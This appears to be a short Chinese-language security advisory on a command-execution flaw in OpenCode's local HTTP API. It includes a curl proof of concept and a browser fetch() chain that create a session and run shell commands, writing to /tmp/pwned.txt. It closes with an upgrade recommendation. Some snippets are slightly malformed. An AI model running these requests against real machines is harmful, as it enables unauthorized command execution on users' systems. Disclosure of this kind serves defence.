1、漏洞信息

免责声明

  本文内容仅用于学习交流自查使用，请勿利用本文提到的相关技术从事非法测试。由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。

漏洞信息表

2、漏洞影响

本地利用：任何恶意的 npm 包、脚本或被攻破的应用程序都可以作为运行 OpenCode 的用户执行命令。

curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \
  -d '{"agent": "build", "command": "echo vuln exist!!! > /tmp/pwned.txt"}'|cat pwned.txt

// firefox浏览器
fetch('http://127.0.0.1:4096/session', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: '{}'
})
.then(r => r.json())
.then(session => {
  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({agent: 'build', command: 'whoami' > /tmp/pwned.txt'})
  });
});

3、修复建议

1. 1.官方已发布安全补丁，请及时更新至最新版本：Opencode >= 1.0.216

   下载地址：https://github.com/anomalyco/opencode/releases。

4、联系我们